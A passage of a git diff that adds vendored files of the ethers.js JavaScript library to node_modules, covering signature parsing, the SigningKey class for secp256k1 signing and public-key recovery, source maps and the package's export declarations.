index_js_2.hexlify)(bytes.slice(32, 64)); + const v = Signature.getNormalizedV(bytes[64]); + return new Signature(_guard, r, s, v); + } + assertError(false, "invalid raw signature length"); + } + if (sig instanceof Signature) { + return sig.clone(); + } + // Get r + const _r = sig.r; + assertError(_r != null, "missing r"); + const r = toUint256(_r); + // Get s; by any means necessary (we check consistency below) + const s = (function (s, yParityAndS) { + if (s != null) { + return toUint256(s); + } + if (yParityAndS != null) { + assertError((0, index_js_2.isHexString)(yParityAndS, 32), "invalid yParityAndS"); + const bytes = (0, index_js_2.getBytes)(yParityAndS); + bytes[0] &= 0x7f; + return (0, index_js_2.hexlify)(bytes); + } + assertError(false, "missing s"); + })(sig.s, sig.yParityAndS); + // Get v; by any means necessary (we check consistency below) + const { networkV, v } = (function (_v, yParityAndS, yParity) { + if (_v != null) { + const v = (0, index_js_2.getBigInt)(_v); + return { + networkV: ((v >= BN_35) ? v : undefined), + v: Signature.getNormalizedV(v) + }; + } + if (yParityAndS != null) { + assertError((0, index_js_2.isHexString)(yParityAndS, 32), "invalid yParityAndS"); + return { v: (((0, index_js_2.getBytes)(yParityAndS)[0] & 0x80) ? 28 : 27) }; + } + if (yParity != null) { + switch ((0, index_js_2.getNumber)(yParity, "sig.yParity")) { + case 0: return { v: 27 }; + case 1: return { v: 28 }; + } + assertError(false, "invalid yParity"); + } + assertError(false, "missing v"); + })(sig.v, sig.yParityAndS, sig.yParity); + const result = new Signature(_guard, r, s, v); + if (networkV) { + result.#networkV = networkV; + } + // If multiple of v, yParity, yParityAndS we given, check they match + assertError(sig.yParity == null || (0, index_js_2.getNumber)(sig.yParity, "sig.yParity") === result.yParity, "yParity mismatch"); + assertError(sig.yParityAndS == null || sig.yParityAndS === result.yParityAndS, "yParityAndS mismatch"); + return result; + } +} +exports.Signature = Signature; +//# sourceMappingURL=signature.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/signature.js.map b/node_modules/ethers/lib.commonjs/crypto/signature.js.map new file mode 100644 index 000000000000..8c61c17f196d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/signature.js.map @@ -0,0 +1 @@ +{"version":3,"file":"signature.js","sourceRoot":"","sources":["../../src.ts/crypto/signature.ts"],"names":[],"mappings":";;;AACA,oDAAiD;AACjD,gDAI2B;AAO3B,YAAY;AACZ,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AACzB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AACzB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AAGzB,MAAM,MAAM,GAAG,EAAG,CAAC;AA6BnB,SAAS,SAAS,CAAC,KAAmB;IAClC,OAAO,IAAA,uBAAY,EAAC,IAAA,oBAAS,EAAC,KAAK,CAAC,EAAE,EAAE,CAAC,CAAC;AAC9C,CAAC;AAED;;;;;GAKG;AACH,MAAa,SAAS;IAClB,EAAE,CAAS;IACX,EAAE,CAAS;IACX,EAAE,CAAU;IACZ,SAAS,CAAgB;IAEzB;;;;;OAKG;IACH,IAAI,CAAC,KAAa,OAAO,IAAI,CAAC,EAAE,CAAC,CAAC,CAAC;IACnC,IAAI,CAAC,CAAC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B,CAAC,CAAC;QACjH,WAAW,CAAC,GAAG,CAAC,WAAW,IAAI,IAAI,IAAI,GAAG,CAAC,WAAW,KAAK,MAAM,CAAC,WAAW,EAAE,sBAAsB,CAAC,CAAC;QAEvG,OAAO,MAAM,CAAC;IAClB,CAAC;CACJ;AA5TD,8BA4TC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/signing-key.d.ts b/node_modules/ethers/lib.commonjs/crypto/signing-key.d.ts new file mode 100644 index 000000000000..0864d3b81e4d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/signing-key.d.ts @@ -0,0 +1,122 @@ +/** + * Add details about signing here. + * + * @_subsection: api/crypto:Signing [about-signing] + */ +import { Signature } from "./signature.js"; +import type { BytesLike } from "../utils/index.js"; +import type { SignatureLike } from "./index.js"; +/** + * A **SigningKey** provides high-level access to the elliptic curve + * cryptography (ECC) operations and key management. + */ +export declare class SigningKey { + #private; + /** + * Creates a new **SigningKey** for %%privateKey%%. + */ + constructor(privateKey: BytesLike); + /** + * The private key. + */ + get privateKey(): string; + /** + * The uncompressed public key. + * + * This will always begin with the prefix ``0x04`` and be 132 + * characters long (the ``0x`` prefix and 130 hexadecimal nibbles). + */ + get publicKey(): string; + /** + * The compressed public key. + * + * This will always begin with either the prefix ``0x02`` or ``0x03`` + * and be 68 characters long (the ``0x`` prefix and 33 hexadecimal + * nibbles) + */ + get compressedPublicKey(): string; + /** + * Return the signature of the signed %%digest%%. + */ + sign(digest: BytesLike): Signature; + /** + * Returns the [[link-wiki-ecdh]] shared secret between this + * private key and the %%other%% key. + * + * The %%other%% key may be any type of key, a raw public key, + * a compressed/uncompressed pubic key or aprivate key. + * + * Best practice is usually to use a cryptographic hash on the + * returned value before using it as a symetric secret. + * + * @example: + * sign1 = new SigningKey(id("some-secret-1")) + * sign2 = new SigningKey(id("some-secret-2")) + * + * // Notice that privA.computeSharedSecret(pubB)... + * sign1.computeSharedSecret(sign2.publicKey) + * //_result: + * + * // ...is equal to privB.computeSharedSecret(pubA). + * sign2.computeSharedSecret(sign1.publicKey) + * //_result: + */ + computeSharedSecret(other: BytesLike): string; + /** + * Compute the public key for %%key%%, optionally %%compressed%%. + * + * The %%key%% may be any type of key, a raw public key, a + * compressed/uncompressed public key or private key. + * + * @example: + * sign = new SigningKey(id("some-secret")); + * + * // Compute the uncompressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey) + * //_result: + * + * // Compute the compressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey, true) + * //_result: + * + * // Compute the uncompressed public key + * SigningKey.computePublicKey(sign.publicKey, false); + * //_result: + * + * // Compute the Compressed a public key + * SigningKey.computePublicKey(sign.publicKey, true); + * //_result: + */ + static computePublicKey(key: BytesLike, compressed?: boolean): string; + /** + * Returns the public key for the private key which produced the + * %%signature%% for the given %%digest%%. + * + * @example: + * key = new SigningKey(id("some-secret")) + * digest = id("hello world") + * sig = key.sign(digest) + * + * // Notice the signer public key... + * key.publicKey + * //_result: + * + * // ...is equal to the recovered public key + * SigningKey.recoverPublicKey(digest, sig) + * //_result: + * + */ + static recoverPublicKey(digest: BytesLike, signature: SignatureLike): string; + /** + * Returns the point resulting from adding the ellipic curve points + * %%p0%% and %%p1%%. + * + * This is not a common function most developers should require, but + * can be useful for certain privacy-specific techniques. + * + * For example, it is used by [[HDNodeWallet]] to compute child + * addresses from parent public keys and chain codes. + */ + static addPoints(p0: BytesLike, p1: BytesLike, compressed?: boolean): string; +} +//# sourceMappingURL=signing-key.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/signing-key.d.ts.map b/node_modules/ethers/lib.commonjs/crypto/signing-key.d.ts.map new file mode 100644 index 000000000000..6ce11800b651 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/signing-key.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"signing-key.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/signing-key.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AASH,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAE3C,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEnD,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,YAAY,CAAC;AAGhD;;;GAGG;AACH,qBAAa,UAAU;;IAGnB;;OAEG;gBACS,UAAU,EAAE,SAAS;IAKjC;;OAEG;IACH,IAAI,UAAU,IAAI,MAAM,CAA6B;IAErD;;;;;OAKG;IACH,IAAI,SAAS,IAAI,MAAM,CAA0D;IAEjF;;;;;;OAMG;IACH,IAAI,mBAAmB,IAAI,MAAM,CAAgE;IAEjG;;OAEG;IACH,IAAI,CAAC,MAAM,EAAE,SAAS,GAAG,SAAS;IAclC;;;;;;;;;;;;;;;;;;;;;OAqBG;IACH,mBAAmB,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM;IAK7C;;;;;;;;;;;;;;;;;;;;;;;;OAwBG;IACH,MAAM,CAAC,gBAAgB,CAAC,GAAG,EAAE,SAAS,EAAE,UAAU,CAAC,EAAE,OAAO,GAAG,MAAM;IAqBrE;;;;;;;;;;;;;;;;;OAiBG;IACH,MAAM,CAAC,gBAAgB,CAAC,MAAM,EAAE,SAAS,EAAE,SAAS,EAAE,aAAa,GAAG,MAAM;IAc5E;;;;;;;;;OASG;IACH,MAAM,CAAC,SAAS,CAAC,EAAE,EAAE,SAAS,EAAE,EAAE,EAAE,SAAS,EAAE,UAAU,CAAC,EAAE,OAAO,GAAG,MAAM;CAK/E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/signing-key.js b/node_modules/ethers/lib.commonjs/crypto/signing-key.js new file mode 100644 index 000000000000..7ab3d54ee78c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/signing-key.js @@ -0,0 +1,170 @@ +"use strict"; +/** + * Add details about signing here. + * + * @_subsection: api/crypto:Signing [about-signing] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.SigningKey = void 0; +const secp256k1_1 = require("@noble/curves/secp256k1"); +const index_js_1 = require("../utils/index.js"); +const signature_js_1 = require("./signature.js"); +/** + * A **SigningKey** provides high-level access to the elliptic curve + * cryptography (ECC) operations and key management. + */ +class SigningKey { + #privateKey; + /** + * Creates a new **SigningKey** for %%privateKey%%. + */ + constructor(privateKey) { + (0, index_js_1.assertArgument)((0, index_js_1.dataLength)(privateKey) === 32, "invalid private key", "privateKey", "[REDACTED]"); + this.#privateKey = (0, index_js_1.hexlify)(privateKey); + } + /** + * The private key. + */ + get privateKey() { return this.#privateKey; } + /** + * The uncompressed public key. + * + * This will always begin with the prefix ``0x04`` and be 132 + * characters long (the ``0x`` prefix and 130 hexadecimal nibbles). + */ + get publicKey() { return SigningKey.computePublicKey(this.#privateKey); } + /** + * The compressed public key. + * + * This will always begin with either the prefix ``0x02`` or ``0x03`` + * and be 68 characters long (the ``0x`` prefix and 33 hexadecimal + * nibbles) + */ + get compressedPublicKey() { return SigningKey.computePublicKey(this.#privateKey, true); } + /** + * Return the signature of the signed %%digest%%. + */ + sign(digest) { + (0, index_js_1.assertArgument)((0, index_js_1.dataLength)(digest) === 32, "invalid digest length", "digest", digest); + const sig = secp256k1_1.secp256k1.sign((0, index_js_1.getBytesCopy)(digest), (0, index_js_1.getBytesCopy)(this.#privateKey), { + lowS: true + }); + return signature_js_1.Signature.from({ + r: (0, index_js_1.toBeHex)(sig.r, 32), + s: (0, index_js_1.toBeHex)(sig.s, 32), + v: (sig.recovery ? 0x1c : 0x1b) + }); + } + /** + * Returns the [[link-wiki-ecdh]] shared secret between this + * private key and the %%other%% key. + * + * The %%other%% key may be any type of key, a raw public key, + * a compressed/uncompressed pubic key or aprivate key. + * + * Best practice is usually to use a cryptographic hash on the + * returned value before using it as a symetric secret. + * + * @example: + * sign1 = new SigningKey(id("some-secret-1")) + * sign2 = new SigningKey(id("some-secret-2")) + * + * // Notice that privA.computeSharedSecret(pubB)... + * sign1.computeSharedSecret(sign2.publicKey) + * //_result: + * + * // ...is equal to privB.computeSharedSecret(pubA). + * sign2.computeSharedSecret(sign1.publicKey) + * //_result: + */ + computeSharedSecret(other) { + const pubKey = SigningKey.computePublicKey(other); + return (0, index_js_1.hexlify)(secp256k1_1.secp256k1.getSharedSecret((0, index_js_1.getBytesCopy)(this.#privateKey), (0, index_js_1.getBytes)(pubKey), false)); + } + /** + * Compute the public key for %%key%%, optionally %%compressed%%. + * + * The %%key%% may be any type of key, a raw public key, a + * compressed/uncompressed public key or private key. + * + * @example: + * sign = new SigningKey(id("some-secret")); + * + * // Compute the uncompressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey) + * //_result: + * + * // Compute the compressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey, true) + * //_result: + * + * // Compute the uncompressed public key + * SigningKey.computePublicKey(sign.publicKey, false); + * //_result: + * + * // Compute the Compressed a public key + * SigningKey.computePublicKey(sign.publicKey, true); + * //_result: + */ + static computePublicKey(key, compressed) { + let bytes = (0, index_js_1.getBytes)(key, "key"); + // private key + if (bytes.length === 32) { + const pubKey = secp256k1_1.secp256k1.getPublicKey(bytes, !!compressed); + return (0, index_js_1.hexlify)(pubKey); + } + // raw public key; use uncompressed key with 0x04 prefix + if (bytes.length === 64) { + const pub = new Uint8Array(65); + pub[0] = 0x04; + pub.set(bytes, 1); + bytes = pub; + } + const point = secp256k1_1.secp256k1.ProjectivePoint.fromHex(bytes); + return (0, index_js_1.hexlify)(point.toRawBytes(compressed)); + } + /** + * Returns the public key for the private key which produced the + * %%signature%% for the given %%digest%%. + * + * @example: + * key = new SigningKey(id("some-secret")) + * digest = id("hello world") + * sig = key.sign(digest) + * + * // Notice the signer public key... + * key.publicKey + * //_result: + * + * // ...is equal to the recovered public key + * SigningKey.recoverPublicKey(digest, sig) + * //_result: + * + */ + static recoverPublicKey(digest, signature) { + (0, index_js_1.assertArgument)((0, index_js_1.dataLength)(digest) === 32, "invalid digest length", "digest", digest); + const sig = signature_js_1.Signature.from(signature); + let secpSig = secp256k1_1.secp256k1.Signature.fromCompact((0, index_js_1.getBytesCopy)((0, index_js_1.concat)([sig.r, sig.s]))); + secpSig = secpSig.addRecoveryBit(sig.yParity); + const pubKey = secpSig.recoverPublicKey((0, index_js_1.getBytesCopy)(digest)); + (0, index_js_1.assertArgument)(pubKey != null, "invalid signature for digest", "signature", signature); + return "0x" + pubKey.toHex(false); + } + /** + * Returns the point resulting from adding the ellipic curve points + * %%p0%% and %%p1%%. + * + * This is not a common function most developers should require, but + * can be useful for certain privacy-specific techniques. + * + * For example, it is used by [[HDNodeWallet]] to compute child + * addresses from parent public keys and chain codes. + */ + static addPoints(p0, p1, compressed) { + const pub0 = secp256k1_1.secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p0).substring(2)); + const pub1 = secp256k1_1.secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p1).substring(2)); + return "0x" + pub0.add(pub1).toHex(!!compressed); + } +} +exports.SigningKey = SigningKey; +//# sourceMappingURL=signing-key.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/crypto/signing-key.js.map b/node_modules/ethers/lib.commonjs/crypto/signing-key.js.map new file mode 100644 index 000000000000..78fd2c8c700e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/crypto/signing-key.js.map @@ -0,0 +1 @@ +{"version":3,"file":"signing-key.js","sourceRoot":"","sources":["../../src.ts/crypto/signing-key.ts"],"names":[],"mappings":";AAAA;;;;GAIG;;;AAEH,uDAAoD;AAEpD,gDAG2B;AAE3B,iDAA2C;AAO3C;;;GAGG;AACH,MAAa,UAAU;IACnB,WAAW,CAAS;IAEpB;;OAEG;IACH,YAAY,UAAqB;QAC7B,IAAA,yBAAc,EAAC,IAAA,qBAAU,EAAC,UAAU,CAAC,KAAK,EAAE,EAAE,qBAAqB,EAAE,YAAY,EAAE,YAAY,CAAC,CAAC;QACjG,IAAI,CAAC,WAAW,GAAG,IAAA,kBAAO,EAAC,UAAU,CAAC,CAAC;IAC3C,CAAC;IAED;;OAEG;IACH,IAAI,UAAU,KAAa,OA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AC,CAAC,CAAE,CAAC,CAAC,CAAC,CAAC;QACtF,OAAO,GAAG,OAAO,CAAC,cAAc,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC;QAE9C,MAAM,MAAM,GAAG,OAAO,CAAC,gBAAgB,CAAC,IAAA,uBAAY,EAAC,MAAM,CAAC,CAAC,CAAC;QAC9D,IAAA,yBAAc,EAAC,MAAM,IAAI,IAAI,EAAE,8BAA8B,EAAE,WAAW,EAAE,SAAS,CAAC,CAAC;QAEvF,OAAO,IAAI,GAAG,MAAM,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;IACtC,CAAC;IAED;;;;;;;;;OASG;IACH,MAAM,CAAC,SAAS,CAAC,EAAa,EAAE,EAAa,EAAE,UAAoB;QAC/D,MAAM,IAAI,GAAG,qBAAS,CAAC,eAAe,CAAC,OAAO,CAAC,UAAU,CAAC,gBAAgB,CAAC,EAAE,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC,CAAC;QAC7F,MAAM,IAAI,GAAG,qBAAS,CAAC,eAAe,CAAC,OAAO,CAAC,UAAU,CAAC,gBAAgB,CAAC,EAAE,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC,CAAC;QAC7F,OAAO,IAAI,GAAG,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,UAAU,CAAC,CAAA;IACpD,CAAC;CACJ;AA1KD,gCA0KC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/ethers.d.ts b/node_modules/ethers/lib.commonjs/ethers.d.ts new file mode 100644 index 000000000000..11d3614e25da --- /dev/null +++ b/node_modules/ethers/lib.commonjs/ethers.d.ts @@ -0,0 +1,22 @@ +export { version } from "./_version.js"; +export { decodeBytes32String, encodeBytes32String, AbiCoder, ConstructorFragment, ErrorFragment, EventFragment, Fragment, FallbackFragment, FunctionFragment, NamedFragment, ParamType, StructFragment, checkResultErrors, ErrorDescription, Indexed, Interface, LogDescription, Result, TransactionDescription, Typed, } from "./abi/index.js"; +export { getAddress, getIcapAddress, getCreateAddress, getCreate2Address, isAddressable, isAddress, resolveAddress } from "./address/index.js"; +export { ZeroAddress, WeiPerEther, MaxUint256, MinInt256, MaxInt256, N, ZeroHash, EtherSymbol, MessagePrefix } from "./constants/index.js"; +export { BaseContract, Contract, ContractFactory, ContractEventPayload, ContractTransactionReceipt, ContractTransactionResponse, ContractUnknownEventPayload, EventLog, UndecodedEventLog } from "./contract/index.js"; +export { computeHmac, randomBytes, keccak256, ripemd160, sha256, sha512, pbkdf2, scrypt, scryptSync, lock, Signature, SigningKey } from "./crypto/index.js"; +export { id, ensNormalize, isValidName, namehash, dnsEncode, hashAuthorization, verifyAuthorization, hashMessage, verifyMessage, solidityPacked, solidityPackedKeccak256, solidityPackedSha256, TypedDataEncoder, verifyTypedData } from "./hash/index.js"; +export { getDefaultProvider, Block, FeeData, Log, TransactionReceipt, TransactionResponse, AbstractSigner, NonceManager, VoidSigner, AbstractProvider, FallbackProvider, JsonRpcApiProvider, JsonRpcProvider, JsonRpcSigner, BrowserProvider, AlchemyProvider, AnkrProvider, BlockscoutProvider, ChainstackProvider, CloudflareProvider, EtherscanProvider, InfuraProvider, InfuraWebSocketProvider, PocketProvider, QuickNodeProvider, IpcSocketProvider, SocketProvider, WebSocketProvider, EnsResolver, Network, EnsPlugin, EtherscanPlugin, FeeDataNetworkPlugin, FetchUrlFeeDataNetworkPlugin, GasCostPlugin, NetworkPlugin, MulticoinProviderPlugin, SocketBlockSubscriber, SocketEventSubscriber, SocketPendingSubscriber, SocketSubscriber, UnmanagedSubscriber, copyRequest, showThrottleMessage } from "./providers/index.js"; +export { accessListify, authorizationify, computeAddress, recoverAddress, Transaction } from "./transaction/index.js"; +export { decodeBase58, encodeBase58, decodeBase64, encodeBase64, concat, dataLength, dataSlice, getBytes, getBytesCopy, hexlify, isHexString, isBytesLike, stripZerosLeft, zeroPadBytes, zeroPadValue, defineProperties, resolveProperties, assert, assertArgument, assertArgumentCount, assertNormalize, assertPrivate, makeError, isCallException, isError, EventPayload, FetchRequest, FetchResponse, FetchCancelSignal, FixedNumber, getBigInt, getNumber, getUint, toBeArray, toBigInt, toBeHex, toNumber, toQuantity, fromTwos, toTwos, mask, formatEther, parseEther, formatUnits, parseUnits, toUtf8Bytes, toUtf8CodePoints, toUtf8String, Utf8ErrorFuncs, decodeRlp, encodeRlp, uuidV4, } from "./utils/index.js"; +export { Mnemonic, BaseWallet, HDNodeWallet, HDNodeVoidWallet, Wallet, defaultPath, getAccountPath, getIndexedAccountPath, isCrowdsaleJson, isKeystoreJson, decryptCrowdsaleJson, decryptKeystoreJsonSync, decryptKeystoreJson, encryptKeystoreJson, encryptKeystoreJsonSync, } from "./wallet/index.js"; +export { Wordlist, LangEn, WordlistOwl, WordlistOwlA, wordlists } from "./wordlists/index.js"; +export type { JsonFragment, JsonFragmentType, FormatType, FragmentType, InterfaceAbi, ParamTypeWalkFunc, ParamTypeWalkAsyncFunc } from "./abi/index.js"; +export type { Addressable, AddressLike, NameResolver } from "./address/index.js"; +export type { ConstantContractMethod, ContractEvent, ContractEventArgs, ContractEventName, ContractInterface, ContractMethod, ContractMethodArgs, ContractTransaction, DeferredTopicFilter, Overrides, BaseContractMethod, ContractDeployTransaction, PostfixOverrides, WrappedFallback } from "./contract/index.js"; +export type { ProgressCallback, SignatureLike } from "./crypto/index.js"; +export type { AuthorizationRequest, TypedDataDomain, TypedDataField } from "./hash/index.js"; +export type { Provider, Signer, CommunityResourcable, AbstractProviderOptions, BrowserProviderOptions, FallbackProviderOptions, AbstractProviderPlugin, BlockParams, BlockTag, BrowserDiscoverOptions, ContractRunner, DebugEventBrowserProvider, Eip1193Provider, Eip6963ProviderInfo, EventFilter, Filter, FilterByBlockHash, GasCostParameters, JsonRpcApiProviderOptions, JsonRpcError, JsonRpcPayload, JsonRpcResult, JsonRpcTransactionRequest, LogParams, MinedBlock, MinedTransactionResponse, Networkish, OrphanFilter, PerformActionFilter, PerformActionRequest, PerformActionTransaction, PreparedTransactionRequest, ProviderEvent, Subscriber, Subscription, TopicFilter, TransactionReceiptParams, TransactionRequest, TransactionResponseParams, WebSocketCreator, WebSocketLike } from "./providers/index.js"; +export type { AccessList, AccessListish, AccessListEntry, Authorization, AuthorizationLike, Blob, BlobLike, KzgLibrary, KzgLibraryLike, TransactionLike } from "./transaction/index.js"; +export type { BytesLike, BigNumberish, Numeric, ErrorCode, FixedFormat, Utf8ErrorFunc, UnicodeNormalizationForm, Utf8ErrorReason, RlpStructuredData, RlpStructuredDataish, GetUrlResponse, FetchPreflightFunc, FetchProcessFunc, FetchRetryFunc, FetchGatewayFunc, FetchGetUrlFunc, EthersError, UnknownError, NotImplementedError, UnsupportedOperationError, NetworkError, ServerError, TimeoutError, BadDataError, CancelledError, BufferOverrunError, NumericFaultError, InvalidArgumentError, MissingArgumentError, UnexpectedArgumentError, CallExceptionError, InsufficientFundsError, NonceExpiredError, OffchainFaultError, ReplacementUnderpricedError, TransactionReplacedError, UnconfiguredNameError, ActionRejectedError, CodedEthersError, CallExceptionAction, CallExceptionTransaction, EventEmitterable, Listener } from "./utils/index.js"; +export type { CrowdsaleAccount, KeystoreAccount, EncryptOptions } from "./wallet/index.js"; +//# sourceMappingURL=ethers.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/ethers.d.ts.map b/node_modules/ethers/lib.commonjs/ethers.d.ts.map new file mode 100644 index 000000000000..d7cab7f19f12 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/ethers.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"ethers.d.ts","sourceRoot":"","sources":["../src.ts/ethers.ts"],"names":[],"mappings":"AAKA,OAAO,EAAE,OAAO,EAAE,MAAM,eAAe,CAAC;AAExC,OAAO,EACH,mBAAmB,EAAE,mBAAmB,EAExC,QAAQ,EACR,mBAAmB,EAAE,aAAa,EAAE,aAAa,EAAE,QAAQ,EAAE,gBAAgB,EAAE,gBAAgB,EAAE,aAAa,EAAE,SAAS,EAAE,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,EAC9D,mBAAmB,EAAE,oBAAoB,EAAE,wBAAwB,EACnE,0BAA0B,EAAE,aAAa,EAAE,UAAU,EAAE,YAAY,EACnE,WAAW,EAAE,wBAAwB,EAAE,kBAAkB,EACzD,yBAAyB,EAAE,gBAAgB,EAAE,aAAa,EAC7D,MAAM,sBAAsB,CAAC;AAE9B,YAAY,EACR,UAAU,EAAE,aAAa,EAAE,eAAe,EAC1C,aAAa,EAAE,iBAAiB,EAChC,IAAI,EAAE,QAAQ,EAAE,UAAU,EAAE,cAAc,EAC1C,eAAe,EAClB,MAAM,wBAAwB,CAAC;AAEhC,YAAY,EACR,SAAS,EACT,YAAY,EAAE,OAAO,EACrB,SAAS,EACT,WAAW,EACX,aAAa,EAAE,wBAAwB,EAAE,eAAe,EACxD,iBAAiB,EAAE,oBAAoB,EAEvC,cAAc,EACd,kBAAkB,EAAE,gBAAgB,EAAE,cAAc,EACpD,gBAAgB,EAAE,eAAe,EAEjC,WAAW,EAAE,YAAY,EAAE,mBAAmB,EAAE,yBAAyB,EAAE,YAAY,EACvF,WAAW,EAAE,YAAY,EAAE,YAAY,EAAE,cAAc,EAAE,kBAAkB,EAC3E,iBAAiB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,uBAAuB,EACtF,kBAAkB,EAAE,sBAAsB,EAAE,iBAAiB,EAAE,kBAAkB,EACjF,2BAA2B,EAAE,wBAAwB,EAAE,qBAAqB,EAC5E,mBAAmB,EACnB,gBAAgB,EAEhB,mBAAmB,EAAE,wBAAwB,EAC7C,gBAAgB,EAAE,QAAQ,EAC7B,MAAM,kBAAkB,CAAC;AAE1B,YAAY,EACR,gBAAgB,EAAE,eAAe,EAAE,cAAc,EACpD,MAAM,mBAAmB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/ethers.js b/node_modules/ethers/lib.commonjs/ethers.js new file mode 100644 index 000000000000..5a1e05890dd5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/ethers.js @@ -0,0 +1,215 @@ +"use strict"; +///////////////////////////// +// +Object.defineProperty(exports, "__esModule", { value: true }); +exports.ripemd160 = exports.keccak256 = exports.randomBytes = exports.computeHmac = exports.UndecodedEventLog = exports.EventLog = exports.ContractUnknownEventPayload = exports.ContractTransactionResponse = exports.ContractTransactionReceipt = exports.ContractEventPayload = exports.ContractFactory = exports.Contract = exports.BaseContract = exports.MessagePrefix = exports.EtherSymbol = exports.ZeroHash = exports.N = exports.MaxInt256 = exports.MinInt256 = exports.MaxUint256 = exports.WeiPerEther = exports.ZeroAddress = exports.resolveAddress = exports.isAddress = exports.isAddressable = exports.getCreate2Address = exports.getCreateAddress = exports.getIcapAddress = exports.getAddress = exports.Typed = exports.TransactionDescription = exports.Result = exports.LogDescription = exports.Interface = exports.Indexed = exports.ErrorDescription = exports.checkResultErrors = exports.StructFragment = exports.ParamType = exports.NamedFragment = exports.FunctionFragment = exports.FallbackFragment = exports.Fragment = exports.EventFragment = exports.ErrorFragment = exports.ConstructorFragment = exports.AbiCoder = exports.encodeBytes32String = exports.decodeBytes32String = exports.version = void 0; +exports.WebSocketProvider = exports.SocketProvider = exports.IpcSocketProvider = exports.QuickNodeProvider = exports.PocketProvider = exports.InfuraWebSocketProvider = exports.InfuraProvider = exports.EtherscanProvider = exports.CloudflareProvider = exports.ChainstackProvider = exports.BlockscoutProvider = exports.AnkrProvider = exports.AlchemyProvider = exports.BrowserProvider = exports.JsonRpcSigner = exports.JsonRpcProvider = exports.JsonRpcApiProvider = exports.FallbackProvider = exports.AbstractProvider = exports.VoidSigner = exports.NonceManager = exports.AbstractSigner = exports.TransactionResponse = exports.TransactionReceipt = exports.Log = exports.FeeData = exports.Block = exports.getDefaultProvider = exports.verifyTypedData = exports.TypedDataEncoder = exports.solidityPackedSha256 = exports.solidityPackedKeccak256 = exports.solidityPacked = exports.verifyMessage = exports.hashMessage = exports.verifyAuthorization = exports.hashAuthorization = exports.dnsEncode = exports.namehash = exports.isValidName = exports.ensNormalize = exports.id = exports.SigningKey = exports.Signature = exports.lock = exports.scryptSync = exports.scrypt = exports.pbkdf2 = exports.sha512 = exports.sha256 = void 0; +exports.FetchCancelSignal = exports.FetchResponse = exports.FetchRequest = exports.EventPayload = exports.isError = exports.isCallException = exports.makeError = exports.assertPrivate = exports.assertNormalize = exports.assertArgumentCount = exports.assertArgument = exports.assert = exports.resolveProperties = exports.defineProperties = exports.zeroPadValue = exports.zeroPadBytes = exports.stripZerosLeft = exports.isBytesLike = exports.isHexString = exports.hexlify = exports.getBytesCopy = exports.getBytes = exports.dataSlice = exports.dataLength = exports.concat = exports.encodeBase64 = exports.decodeBase64 = exports.encodeBase58 = exports.decodeBase58 = exports.Transaction = exports.recoverAddress = exports.computeAddress = exports.authorizationify = exports.accessListify = exports.showThrottleMessage = exports.copyRequest = exports.UnmanagedSubscriber = exports.SocketSubscriber = exports.SocketPendingSubscriber = exports.SocketEventSubscriber = exports.SocketBlockSubscriber = exports.MulticoinProviderPlugin = exports.NetworkPlugin = exports.GasCostPlugin = exports.FetchUrlFeeDataNetworkPlugin = exports.FeeDataNetworkPlugin = exports.EtherscanPlugin = exports.EnsPlugin = exports.Network = exports.EnsResolver = void 0; +exports.wordlists = exports.WordlistOwlA = exports.WordlistOwl = exports.LangEn = exports.Wordlist = exports.encryptKeystoreJsonSync = exports.encryptKeystoreJson = exports.decryptKeystoreJson = exports.decryptKeystoreJsonSync = exports.decryptCrowdsaleJson = exports.isKeystoreJson = exports.isCrowdsaleJson = exports.getIndexedAccountPath = exports.getAccountPath = exports.defaultPath = exports.Wallet = exports.HDNodeVoidWallet = exports.HDNodeWallet = exports.BaseWallet = exports.Mnemonic = exports.uuidV4 = exports.encodeRlp = exports.decodeRlp = exports.Utf8ErrorFuncs = exports.toUtf8String = exports.toUtf8CodePoints = exports.toUtf8Bytes = exports.parseUnits = exports.formatUnits = exports.parseEther = 